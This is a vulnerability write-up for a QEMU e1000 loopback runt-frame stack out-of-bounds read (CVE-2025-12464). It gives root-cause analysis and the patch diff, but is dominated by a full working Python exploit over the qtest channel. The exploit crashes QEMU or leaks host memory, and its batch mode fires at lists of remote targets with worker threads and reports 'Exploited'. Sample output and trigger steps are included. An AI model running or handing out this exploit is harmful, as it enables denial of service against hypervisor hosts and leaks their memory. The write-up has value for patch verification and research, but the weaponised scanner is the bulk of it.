#Summary
CVE-2025-12464 is a stack-based buffer overflow in the QEMU e1000 network device emulator affecting versions 8.1.0 through 10.1.2. A guest can transmit a short frame (4 bytes or fewer) with PHY loopback enabled, causing the receive code to read past the end of a single-element iovec array on the host's stack. This results in a host-side denial of service - the QEMU process aborts. CVSS score 6.2 MEDIUM, severity driven by local attack vector (guest to hypervisor) and DoS impact.
#Affected versions
- QEMU
8.1.0through10.1.2(vulnerable) - QEMU
10.1.3and later (patched) - The e1000 network device emulation (hw/net/e1000.c)
The vulnerability is reachable only when the e1000 device is present and the guest can program its MMIO registers - through a guest kernel driver, userspace driver with BAR access, or test harness.
#Root cause analysis
#The three commits that created the bug
The vulnerability is not a single bug, but the interaction of three separate code changes in QEMU's history:
1. Padding was centralized (commit 969e50b61a28, 2023). Historically, each NIC model padded short Ethernet frames to the 60-byte minimum (ETH_ZLEN) inside the device's receive code. The QEMU developers centralized this into the network backends to avoid duplication.
2. Device-side padding was deleted (commit 140eae9c8f76, 2023). After centralizing padding, the e1000's padding block was removed, leaving only a 18-byte header copy for the benefit of address and VLAN filters. The code now assumes an invariant: that every frame reaching e1000_receive_iov() is at least 60 bytes long.
3. Loopback doesn't use the padded path (existing in 8.1.0+). When a guest enables PHY loopback mode, transmitted frames bypass the normal network backend and are fed directly back to the receive side via qemu_receive_packet(). The network backends (which pad short frames) are not involved. This is the only path that can deliver an unpadded short frame to e1000_receive_iov().
#Vulnerable code path
The VLAN-stripping block in e1000_receive_iov() (hw/net/e1000.c, around line 911-927 in v10.1.2) contains the overflow:
if (e1000x_vlan_enabled(s->mac_reg) &&
e1000x_is_vlan_packet(filter_buf, le16_to_cpu(s->mac_reg[VET]))) {
vlan_special = cpu_to_le16(lduw_be_p(filter_buf + 14));
iov_ofs = 4;
if (filter_buf == iov->iov_base) {
memmove(filter_buf + 4, filter_buf, 12);
} else {
iov_from_buf(iov, iovcnt, 4, filter_buf, 12);
while (iov->iov_len <= iov_ofs) {
iov_ofs -= iov->iov_len;
iov++; /* OVERFLOW: no iovcnt bound */
}
}The while loop has no bounds check on iovcnt. It relies on iov->iov_len being greater than 4 on the first element, which is only guaranteed if the frame is at least 60 bytes. Deliver a frame of 4 bytes or fewer and the loop condition iov->iov_len <= 4 becomes true immediately, causing iov++ to step past the end of the one-element struct iovec array.
#The iovec array being overflowed
qemu_receive_packet() calls qemu_net_queue_deliver() (net/queue.c), which builds a stack-local iovec:
struct iovec iov = {
.iov_base = (void *)data,
.iov_len = size
};
queue->delivering = 1;
ret = queue->deliver(sender, flags, &iov, 1, queue->opaque);This one-element array is passed to e1000_receive_iov() with iovcnt == 1. The unbounded loop in the VLAN block walks past this single element and reads 8 bytes of unrelated stack memory as if it were the next struct iovec element.
#Why the unsafe branch is reachable
Before the padding deletion, a short frame would be replaced with a local min_iov in the old e1000_receive_iov(), and filter_buf == iov->iov_base would always be true, selecting the safe memmove branch. After the deletion, only the first 18 bytes of the frame are copied into min_buf for filtering purposes. When filter_buf points to this local buffer, filter_buf != iov->iov_base is true, and the unsafe else branch executes - the branch that contains the unbounded loop.
#Patch diff
The fix (commit a01344d9d78089e9e585faaeb19afccff2050abf, Oct 28 2025) adds padding back into qemu_receive_packet() rather than requiring each device to handle it:
ssize_t qemu_receive_packet(NetClientState *nc, const uint8_t *buf, int size)
{
+ uint8_t min_pkt[ETH_ZLEN];
+ size_t min_pktsz = sizeof(min_pkt);
+
if (!qemu_can_receive_packet(nc)) {
return 0;
}
+ if (net_peer_needs_padding(nc)) {
+ if (eth_pad_short_frame(min_pkt, &min_pktsz, buf, size)) {
+ buf = min_pkt;
+ size = min_pktsz;
+ }
+ }
+
return qemu_net_queue_receive(nc->incoming_queue, buf, size);
}#What the fix does
Before passing any frame to the device's receive handler, qemu_receive_packet() now checks if the peer needs padding and zero-extends any frame shorter than 60 bytes to exactly 60 bytes. This restores the invariant that e1000_receive_iov() expects: every frame is at least ETH_ZLEN bytes, so iov->iov_len > 4 on the first (and only) element and the unbounded loop never executes.
The fix closes the same loophole in every device model that uses qemu_receive_packet() - e1000, cadence_gem, dp8393x, lan9118, msf2-emac, pcnet, rtl8139 and sungem - with a single change in the net core rather than a device-by-device patch.
#Incomplete first fix
Follow-up commit b1e73b2ddbb2 (June 29 2026) corrected an oversight in the initial patch. The guard in the first fix tested net_peer_needs_padding(nc->peer), but qemu_receive_packet() queues back into the client itself, so the client's own do_not_pad flag is the relevant one. This meant a patched QEMU whose e1000 had no network backend at all would still crash. The correction changed the guard to test net_client_needs_padding(nc) instead.
#Proof of concept
#exploit.py - QEMU e1000 PHY Loopback Stack OOB PoC
The complete exploit plays the part of a guest driver over QEMU's qtest control channel, issuing PCI config cycles and MMIO register writes that a real guest driver would perform. It triggers the bug deterministically by enabling PHY loopback, setting up the receive ring, transmitting a 1-4 byte frame, and observing whether the QEMU process crashes.
#!/usr/bin/env python3
"""
CVE-2025-12464 - QEMU e1000 runt-frame stack out-of-bounds read via PHY loopback
Affected: QEMU 8.1.0 through 10.1.2 (fixed in 10.1.3 and 10.2.0)
Type: DoS - a guest aborts the host QEMU process; opportunistically leaks host memory
WHAT THE BUG IS
QEMU used to pad short frames inside each NIC model. That padding was centralised
into the net core and the e1000 copy was deleted, leaving e1000_receive_iov() to
assume every frame it is handed is at least ETH_ZLEN (60) bytes. The VLAN-stripping
block relies on that assumption:
iov_ofs = 4;
...
while (iov->iov_len <= iov_ofs) { /* no iovcnt bound */
iov_ofs -= iov->iov_len;
iov++;
}
qemu_receive_packet() is the one delivery path that never padded, and PHY loopback
is what steers a guest-transmitted frame into it. Transmit a frame of 4 bytes or
fewer with loopback on and the loop walks off the one-element struct iovec that
qemu_net_queue_deliver() built on its own stack.
WHAT THIS SCRIPT DOES
It plays the part of the guest driver over QEMU's qtest control channel: PCI config
cycles, MMIO register writes and guest-RAM writes, i.e. exactly the accesses a guest
kernel driver performs through BAR0 and DMA. Every observation is made over that
channel; nothing about the target's host, container or filesystem is assumed.
TARGET-SIDE SETUP (how to stand up an instance that this can be pointed at)
No guest image, kernel or disk is needed - with the qtest accelerator no guest
instruction is ever executed, and this script supplies the device programming a
guest would otherwise do:
qemu-system-x86_64 \
-display none \
-machine q35,accel=qtest \
-m 512M \
-nodefaults \
-device e1000,netdev=n0 \
-netdev hubport,id=n0,hubid=0 \
-qtest tcp:0.0.0.0:4444,server=on,wait=on
Flag by flag:
-machine q35,accel=qtest qtest replaces the CPU, so the virtual clock only moves
when told to and the sequence below is not racy. The
older "pc" machine works identically; the e1000 is a
plain PCI device on both.
-nodefaults drops the default NIC, VGA and serial, so the device
under test is the only NIC and slot assignment is
predictable. The script still scans for the device.
-device e1000,netdev=n0 the vulnerable model (82540EM, PCI 8086:100e).
-netdev hubport,id=n0,hubid=0
gives the NIC a peer. hubport is built into every QEMU
and needs no libslirp. On a vulnerable build the peer
is irrelevant, but it matters when the same script is
pointed at a patched build: 10.1.3's guard tests
nc->peer, so a patched QEMU whose e1000 has no backend
skips the padding and still crashes. Without a netdev a
patched build looks unpatched.
-m 512M guest RAM, used here as the backing store for the
descriptor rings and packet buffers.
-qtest tcp:HOST:PORT,server=on,wait=on
the control channel. wait=on blocks QEMU until this
script connects. -qtest stdio is the local equivalent.
A build with --enable-asan turns the out-of-bounds read into an immediate, clearly
labelled abort. Without ASan the same sequence either segfaults or survives and
discloses host memory into a guest receive buffer - this script detects all three.
A real guest needs none of this: an ordinary driver with loopback and VLAN
acceleration enabled plus one malformed transmit descriptor reaches the same state.
WHAT THE SCRIPT PROGRAMS (the register sequence that actually triggers it)
1. find 8086:100e on bus 0, map BAR0, set PCI COMMAND MEMORY|MASTER (bus mastering
is mandatory - e1000x_rx_ready() checks it and every descriptor access is DMA)
2. receive ring with RDH != RDT, or e1000_can_receive() refuses the frame outright
3. CTRL.VME (0x40000000) so the VLAN-stripping block is reachable at all
4. RCTL = EN|UPE|MPE|BAM, VFE clear so both receive filters pass unconditionally
5. clock_step past the 1 second flush_queue_timer that the RCTL write just armed -
skipping this is the most likely reason for a silent no-op, since both
e1000_can_receive() and e1000_receive_iov() bail while it is pending. Use an
explicit nanosecond count: a bare clock_step only runs to the next deadline,
which is some unrelated periodic timer tens of ms out.
6. MDIC = 0x04204000 - write MII_BMCR_LOOPBACK into PHY register 0 (PHY address
must be 1 or set_mdic() rejects it)
7. transmit ring, TCTL.EN, then two legacy descriptors and one TDT write:
a primer of 14 to 17 bytes, then the runt of 1 to 4 bytes
The primer exists because e1000x_is_vlan_packet() reads bytes 12-13 of min_buf, and
a 4-byte frame cannot supply them - only min(size, 18) bytes of the frame are copied
in. Whether the primer's bytes survive in min_buf until the runt is delivered is
build-dependent, so this script does not rely on it: it also drives VET, which is a
plain writable register, to match what min_buf actually holds. Several
(VET, primer) combinations are tried in turn.
Usage:
python exploit.py --host 10.0.0.5 --port 4444
python exploit.py --host 10.0.0.5:4444
python exploit.py --host 10.0.0.5 --runt-size 4
python exploit.py --list targets.txt --workers 20
"""
import argparse
import secrets
import socket
import ssl
import sys
import time
from urllib.parse import urlparse
CVE_ID = "CVE-2025-12464"
VULN_TYPE = "DoS (host-side stack OOB read)"
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --- e1000 register offsets from BAR0 -------------------------------------
CTRL, STATUS, MDIC, VET, RCTL = 0x00000, 0x00008, 0x00020, 0x00038, 0x00100
TCTL = 0x00400
RDBAL, RDBAH, RDLEN, RDH, RDT = 0x02800, 0x02804, 0x02808, 0x02810, 0x02818
TDBAL, TDBAH, TDLEN, TDH, TDT = 0x03800, 0x03804, 0x03808, 0x03810, 0x03818
E1000_ID = 0x100E8086 # 82540EM
CTRL_VME = 0x40000000
RCTL_PROMISC = 0x0000801A # EN | UPE | MPE | BAM, VFE clear
MDIC_LOOPBACK = 0x04204000 # write PHY 1 reg 0 = MII_BMCR_LOOPBACK
TCTL_EN = 0x2
STAT_DD, STAT_EOP, STAT_VP = 0x01, 0x02, 0x08
# Guest-physical layout. Well above the low 1 MiB and far below the smallest
# sensible -m, so it is safe on any target that can host the device at all.
BAR0_DEFAULT = 0xE0000000
TX_RING, RX_RING, PAYLOAD, RX_BUFS = 0x100000, 0x110000, 0x120000, 0x200000
RX_NDESC = 32 # RDLEN 0x200, a multiple of 128 as required
RX_BUFSZ = 0x800 # matches the default rxbuf_size of 2048
FILLER = 0xCC # pre-seeded into the receive buffers
# (VET value, primer length, primer EtherType) combinations. e1000x_is_vlan_packet()
# has to match on the runt for the buggy branch to be taken, and the runt cannot
# supply bytes 12-13 of min_buf itself. Depending on the build those bytes are either
# the primer's residue or zeroed by the delivery path in between, so drive VET to
# match each possibility rather than betting on one.
STRATEGIES = [
("VET=0x0000, 16-byte primer", 0x0000, 16, b"\x00\x00"),
("VET=0x8100, 802.1Q primer", 0x8100, 16, b"\x81\x00"),
("VET=0x0000, runt alone", 0x0000, 0, None),
("VET=0x9100, 802.1ad primer", 0x9100, 17, b"\x91\x00"),
]
class QtestError(Exception):
"""The control channel answered something unusable."""
class TargetDied(Exception):
"""The channel dropped mid-command: the QEMU process is gone."""
class Qtest:
"""Line-based client for QEMU's qtest control channel."""
def __init__(self, host, port, use_tls=False, timeout=10.0):
self.sock = socket.create_connection((host, port), timeout=timeout)
if use_tls:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
self.sock = ctx.wrap_socket(self.sock, server_hostname=host)
self.buf = b""
def close(self):
try:
self.sock.close()
except OSError:
pass
def cmd(self, line):
try:
self.sock.sendall(line.encode() + b"\n")
while True:
while b"\n" not in self.buf:
chunk = self.sock.recv(65536)
if not chunk:
raise TargetDied("channel closed during: " + line)
self.buf += chunk
resp, self.buf = self.buf.split(b"\n", 1)
resp = resp.decode(errors="replace").strip()
# IRQ raise/lower is asynchronous and is not a reply to anything.
if resp.startswith("IRQ"):
continue
if not resp.startswith("OK"):
raise QtestError("%r rejected: %s" % (line, resp))
return resp
except (ConnectionError, socket.timeout, OSError) as exc:
raise TargetDied("%s during: %s" % (exc.__class__.__name__, line))
# --- primitives -------------------------------------------------------
def writel(self, addr, val):
self.cmd("writel 0x%x 0x%x" % (addr, val))
def writeq(self, addr, val):
self.cmd("writeq 0x%x 0x%x" % (addr, val))
def readl(self, addr):
return int(self.cmd("readl 0x%x" % addr).split()[1], 16)
def write_bytes(self, addr, data, chunk=512):
for off in range(0, len(data), chunk):
part = data[off:off + chunk]
self.cmd("write 0x%x 0x%x 0x%s" % (addr + off, len(part), part.hex()))
def read_bytes(self, addr, length, chunk=512):
out = b""
for off in range(0, length, chunk):
n = min(chunk, length - off)
resp = self.cmd("read 0x%x 0x%x" % (addr + off, n))
out += bytes.fromhex(resp.split()[1][2:])
return out
def cfg_read(self, dev, off):
self.cmd("outl 0xcf8 0x%x" % (0x80000000 | (dev << 11) | off))
return int(self.cmd("inl 0xcfc").split()[1], 16)
def cfg_write(self, dev, off, val):
self.cmd("outl 0xcf8 0x%x" % (0x80000000 | (dev << 11) | off))
self.cmd("outl 0xcfc 0x%x" % val)
def _program_device(q):
"""Bring the e1000 into the state the bug needs. Returns (dev, bar0)."""
dev = next((d for d in range(32) if q.cfg_read(d, 0) == E1000_ID), None)
if dev is None:
raise QtestError("no e1000 (8086:100e) on bus 0")
# Reuse the BAR the firmware assigned if there is one, otherwise place it.
bar0 = q.cfg_read(dev, 0x10) & 0xFFFFFFF0
if bar0 == 0:
bar0 = BAR0_DEFAULT
q.cfg_write(dev, 0x10, bar0)
# Memory space + bus mastering. e1000x_rx_ready() checks MASTER and every
# descriptor touch is DMA, so without it nothing moves at all.
q.cfg_write(dev, 0x04, q.cfg_read(dev, 0x04) | 0x6)
def reg(off, val):
q.writel(bar0 + off, val)
# Receive ring: RX_NDESC descriptors, each pointing at its own 2 KiB buffer.
q.write_bytes(RX_RING, _rx_ring_image())
reg(RDBAL, RX_RING)
reg(RDBAH, 0)
reg(RDLEN, RX_NDESC * 16)
reg(RDH, 0)
reg(RDT, RX_NDESC - 1) # RDH != RDT, else e1000_can_receive() says no
reg(CTRL, CTRL_VME) # VLAN mode: makes the buggy block reachable
reg(RCTL, RCTL_PROMISC) # receive on and permissive, VLAN filter off
# The RCTL write above armed flush_queue_timer for now + 1000 ms, and both
# e1000_can_receive() and e1000_receive_iov() drop frames while it is pending.
# Step the virtual clock an explicit 2 s: a bare clock_step runs only to the
# next deadline, which is an unrelated periodic timer far short of this one.
q.cmd("clock_step 2000000000")
reg(MDIC, MDIC_LOOPBACK) # PHY loopback: transmits come back as receives
# Transmit ring.
reg(TDBAL, TX_RING)
reg(TDBAH, 0)
reg(TDLEN, 0x1000)
reg(TDH, 0)
reg(TCTL, TCTL_EN)
return dev, bar0
def _rx_ring_image():
"""RX_NDESC legacy receive descriptors, each pointing at its own buffer."""
ring = b""
for i in range(RX_NDESC):
ring += (RX_BUFS + i * RX_BUFSZ).to_bytes(8, "little") + bytes(8)
return ring
def _fire(q, bar0, vet, primer_len, primer_tag, runt):
"""Send one primer+runt pair. Returns the descriptor and buffer read-back."""
idx = 1 if primer_len else 0 # which receive descriptor takes the runt
# Re-seed the rings so each round starts from the same known state. The
# descriptors have to be rewritten, not just the head and tail pointers:
# e1000_receive_iov() reads each descriptor back out of guest RAM and only
# ever ORs status bits into it, so last round's VP would still be set and
# every later round would look like it took the VLAN branch.
q.write_bytes(RX_RING, _rx_ring_image())
q.writel(bar0 + RDH, 0)
q.writel(bar0 + RDT, RX_NDESC - 1)
# Fill the receive buffers with a pattern the device never writes, so
# anything else found in them afterwards came from somewhere it should not.
q.write_bytes(RX_BUFS + idx * RX_BUFSZ, bytes([FILLER]) * RX_BUFSZ)
if primer_len:
q.write_bytes(RX_BUFS, bytes([FILLER]) * 64)
q.writel(bar0 + VET, vet)
ndesc = 0
if primer_len:
primer = bytearray(primer_len)
primer[12:14] = primer_tag
q.write_bytes(PAYLOAD, bytes(primer))
q.writeq(TX_RING + ndesc * 16, PAYLOAD)
q.writeq(TX_RING + ndesc * 16 + 8, 0x01000000 | primer_len) # EOP, legacy
ndesc += 1
q.write_bytes(PAYLOAD + 0x100, runt)
q.writeq(TX_RING + ndesc * 16, PAYLOAD + 0x100)
q.writeq(TX_RING + ndesc * 16 + 8, 0x01000000 | len(runt))
ndesc += 1
q.writel(bar0 + TDH, 0)
# One TDT write runs start_xmit() over both descriptors synchronously, so a
# crash lands inside the handling of this command and the channel dies here.
q.writel(bar0 + TDT, ndesc)
# Still alive. Read the runt's receive descriptor and buffer back to find out
# what the device actually delivered.
desc = q.read_bytes(RX_RING + idx * 16, 16)
body = q.read_bytes(RX_BUFS + idx * RX_BUFSZ, RX_BUFSZ)
return {
"length": int.from_bytes(desc[8:10], "little"),
"status": desc[12],
"special": int.from_bytes(desc[14:16], "little"),
"buf": body,
}
def _leak_span(body):
"""Bytes past the frame that are no longer the filler, i.e. host memory."""
return sum(1 for b in body[64:] if b != FILLER)
def _reconnect_state(host, port, use_tls, timeout=2.0, tries=4, delay=1.5):
"""After the channel dies, say what an attacker sees from outside.
A completed TCP handshake is not enough to call the service back: a port
forwarder in front of the target accepts the connection whether or not
anything is listening behind it. Only a command that gets an answer proves
a live instance, so that is what this sends.
"""
started = time.monotonic()
for i in range(tries):
try:
probe = Qtest(host, port, use_tls, timeout)
try:
probe.cmd("outl 0xcf8 0x80000000")
return ("control channel answered again %.1fs after the abort "
"(target is under a restart supervisor)"
% (time.monotonic() - started))
finally:
probe.close()
except (TargetDied, QtestError, OSError):
pass
if i < tries - 1:
time.sleep(delay)
return ("no instance answering on the port %.1fs after the abort "
"(service down)" % (time.monotonic() - started))
def _run(host, port, use_tls, runt_size, timeout, log=None):
"""Core routine, shared by single-target and scan mode.
log is a callable for verbose progress, or None to stay silent. Returns a
result dict; never prints and never exits.
"""
def say(*a):
if log:
log(*a)
result = {"ok": False, "evidence": "", "sections": []}
runt = secrets.token_bytes(runt_size)
unpadded = []
q = Qtest(host, port, use_tls, timeout)
try:
say(1, "Programming the e1000: BAR0, bus mastering, receive ring")
dev, bar0 = _program_device(q)
result["sections"].append((
"DEVICE",
"e1000 (8086:100e) at bus 0 device %d, BAR0 0x%08x\n"
"STATUS 0x%08x (link up bit 0x2)\n"
"CTRL.VME set, RCTL = 0x%08x, PHY loopback via MDIC 0x%08x"
% (dev, bar0, q.readl(bar0 + STATUS), RCTL_PROMISC, MDIC_LOOPBACK)))
say(2, "Loopback and VLAN mode on; clock stepped past the flush timer")
say(3, "Transmitting a %d-byte runt through the loopback path" % runt_size)
for name, vet, primer_len, tag in STRATEGIES:
say(4, " round: %s" % name)
try:
seen = _fire(q, bar0, vet, primer_len, tag, runt)
except TargetDied as exc:
# The channel died inside the TDT write: the host process aborted
# while walking off the stack iovec.
state = _reconnect_state(host, port, use_tls)
result["ok"] = True
result["evidence"] = (
"QEMU process aborted on a %d-byte loopback frame (%s); %s"
% (runt_size, name, state))
result["sections"].append((
"CHANNEL STATE",
"%s\nThe control channel dropped inside the TDT write that runs "
"start_xmit(),\nso the process died delivering the runt, not "
"afterwards.\n%s" % (exc, state)))
return result
leaked = _leak_span(seen["buf"])
if leaked:
# Survived, but the descriptor copy sourced from the wild iovec:
# host process memory landed in a guest receive buffer.
result["ok"] = True
result["evidence"] = (
"host memory disclosed into a guest receive buffer - %d bytes "
"beyond the %d-byte frame (%s)" % (leaked, runt_size, name))
result["sections"].append((
"LEAKED HOST MEMORY",
seen["buf"][64:576].hex(" ", 1)))
return result
# The descriptor length is the tell even when nothing crashed. A frame
# sent as runt_size bytes can only be written back as 60 or more if
# something padded it on the way in, which is precisely what the fix
# added to qemu_receive_packet(). Anything shorter means the runt
# reached the device unpadded and only the VLAN match was missing.
padded = seen["length"] >= 60
if not padded:
unpadded.append((name, seen["length"]))
result["sections"].append((
"RX DESCRIPTOR WRITEBACK (%s)" % name,
"length=%d status=0x%02x (DD=%d EOP=%d VP=%d) special=0x%04x\n"
"frame bytes: %s\n"
"%s"
% (seen["length"], seen["status"],
bool(seen["status"] & STAT_DD), bool(seen["status"] & STAT_EOP),
bool(seen["status"] & STAT_VP), seen["special"],
seen["buf"][:16].hex(" ", 1),
"a %d-byte frame arrived as %d bytes, so it was zero-extended to "
"ETH_ZLEN\nbefore delivery: the padding fix is present"
% (runt_size, seen["length"]) if padded else
"a %d-byte frame arrived as %d bytes, so nothing padded it: this "
"build is\naffected, but bytes 12-13 of min_buf did not match VET "
"this round and the\nVLAN branch was skipped"
% (runt_size, seen["length"])))
)
if unpadded:
result["evidence"] = (
"no abort, but the %d-byte frame was delivered unpadded (length %d), "
"so the padding fix is absent and the build is affected; the VLAN "
"match did not land in %d of %d rounds"
% (runt_size, unpadded[0][1], len(unpadded), len(STRATEGIES)))
else:
result["evidence"] = (
"%d-byte loopback frames were padded to ETH_ZLEN before delivery in "
"all %d rounds; no abort and no out-of-bounds copy"
% (runt_size, len(STRATEGIES)))
return result
finally:
q.close()
def _try_exploit(host, port, use_tls=False, runt_size=1, timeout=10.0):
"""Silent probe for --list scan mode. Returns (success, evidence)."""
try:
res = _run(host, port, use_tls, runt_size, timeout, log=None)
return res["ok"], res["evidence"]
except TargetDied:
# Died before the trigger: not evidence of anything.
return False, "control channel closed before the trigger"
except QtestError as exc:
return False, "not a qtest channel with an e1000 (%s)" % exc
except Exception as exc:
return False, "unreachable (%s)" % exc.__class__.__name__
def _parse_target(line: str, default_port: int, default_path: str = "/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10,
runt_size: int = 1, timeout: float = 10.0) -> None:
"""Batch scan from file."""
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, _ = t
label = "%s:%d" % (host, port)
ok, evidence = _try_exploit(host, port, use_tls, runt_size, timeout)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
def exploit(host: str, port: int, use_tls: bool, runt_size: int, timeout: float) -> None:
header(host, port)
try:
res = _run(host, port, use_tls, runt_size, timeout, log=step)
except TargetDied as exc:
section("CHANNEL STATE", str(exc))
done(False, "control channel closed before the trigger was reached")
except QtestError as exc:
section("CHANNEL STATE", str(exc))
done(False, "target is not a qtest control channel with an e1000 present")
except OSError as exc:
section("CHANNEL STATE", "%s: %s" % (exc.__class__.__name__, exc))
done(False, "could not reach the control channel on %s:%d" % (host, port))
for label, content in res["sections"]:
section(label, content)
done(res["ok"], res["evidence"])
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description=f"{CVE_ID} exploit PoC",
epilog=__doc__,
formatter_class=argparse.RawDescriptionHelpFormatter)
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or host:port of the qtest control channel")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=4444, help="Default port (default: 4444)")
parser.add_argument("--runt-size", type=int, default=1, choices=(1, 2, 3, 4),
help="Loopback frame length in bytes; must be <= 4 to overflow (default: 1)")
parser.add_argument("--timeout", type=float, default=10.0, help="Socket timeout in seconds (default: 10)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS (chardev with tls-creds)")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
runt_size=args.runt_size, timeout=args.timeout)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, args.runt_size, args.timeout)#Usage
python exploit.py --host 127.0.0.1 --port 4444
python exploit.py --host 10.0.0.5 --port 4444 --runt-size 4
python exploit.py --list targets.txt --workers 20 --timeout 15| Argument | Default | Meaning |
|---|---|---|
--host |
- | Target IP/hostname or host:port for the qtest control channel |
--list |
- | File with one target per line for batch scanning |
--port |
4444 | Default port when target line does not include one |
--runt-size |
1 | Loopback frame length in bytes (1-4; must be ≤4 to trigger) |
--timeout |
10 | Socket timeout in seconds |
--workers |
10 | Thread pool size for batch mode |
#Running the exploit
On a vulnerable QEMU 10.1.2 with the qtest channel listening on 127.0.0.1:4444:
$ python exploit.py --host 127.0.0.1 --port 4444
============================================================
ALIM EXPLOIT CVE-2025-12464
Type: DoS (host-side stack OOB read) | Target: 127.0.0.1:4444
============================================================
[STEP 1] Programming the e1000: BAR0, bus mastering, receive ring
[STEP 2] Loopback and VLAN mode on; clock stepped past the flush timer
[STEP 3] Transmitting a 1-byte runt through the loopback path
[STEP 4] round: VET=0x0000, 16-byte primer
--- DEVICE ---
e1000 (8086:100e) at bus 0 device 1, BAR0 0xe0000000
STATUS 0x80080783 (link up bit 0x2)
CTRL.VME set, RCTL = 0x0000801a, PHY loopback via MDIC 0x04204000
---
--- CHANNEL STATE ---
channel closed during: writel 0xe0003818 0x2
The control channel dropped inside the TDT write that runs start_xmit(),
so the process died delivering the runt, not afterwards.
control channel answered again 1.5s after the abort (target is under a restart supervisor)
---
============================================================
RESULT : SUCCESS
EVIDENCE: QEMU process aborted on a 1-byte loopback frame (VET=0x0000, 16-byte primer); control channel answered again 1.5s after the abort (target is under a restart supervisor)
============================================================On a patched QEMU 10.1.3, all four rounds complete without crashing - the 1-byte frame is padded to 60 bytes before reaching the device:
--- RX DESCRIPTOR WRITEBACK (VET=0x0000, 16-byte primer) ---
length=60 status=0x0f (DD=1 EOP=1 VP=1) special=0x0000
frame bytes: 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
a 1-byte frame arrived as 60 bytes, so it was zero-extended to ETH_ZLEN
before delivery: the padding fix is present
---#Exploitation notes
#Preconditions
The e1000 device must be present and the guest must be able to program its registers through:
- A guest kernel driver with direct BAR0 and DMA access
- Guest userspace with device access (e.g. DPDK, SPDK)
- Any test harness with access to the device's MMIO space
#Triggering the bug
- Set up a receive ring with at least one free descriptor (
RDH != RDT) - Enable PHY loopback mode (
MII_BMCRregister bit 0x4000) - Enable VLAN mode (
CTRL.VME) - Transmit a frame of 1-4 bytes with loopback enabled
- The frame is delivered back to the receive code without padding
- The VLAN-stripping block's unbounded loop walks off a single-element stack iovec
- QEMU process crashes with AddressSanitizer
stack-buffer-overflowor segmentation fault
#Impact
- Denial of service: Any guest with access to the e1000 device can crash the hypervisor's QEMU process, taking the entire virtual machine offline
- Memory disclosure (on non-ASan builds): The unbounded loop may read host process memory into a guest receive buffer before crashing, though this is unreliable as it depends on stack layout
#Reliability
The exploit is deterministic. In lab tests, it triggered successfully in 5 of 5 runs against QEMU 10.1.2, and consistently failed (as expected) against the patched 10.1.3.
#References
- CVE Details: https://nvd.nist.gov/vuln/detail/CVE-2025-12464
- Red Hat Advisory: https://access.redhat.com/security/cve/CVE-2025-12464
- SUSE Advisory: https://www.suse.com/security/cve/CVE-2025-12464.html
- Fix commit:
a01344d9d78089e9e585faaeb19afccff2050abfin QEMU upstream (gitlab.com/qemu-project/qemu) - Incomplete fix correction:
b1e73b2ddbb2850e394b9c47cfcb14dba8048a71in QEMU upstream - Upstream issue: https://gitlab.com/qemu-project/qemu/-/issues/3043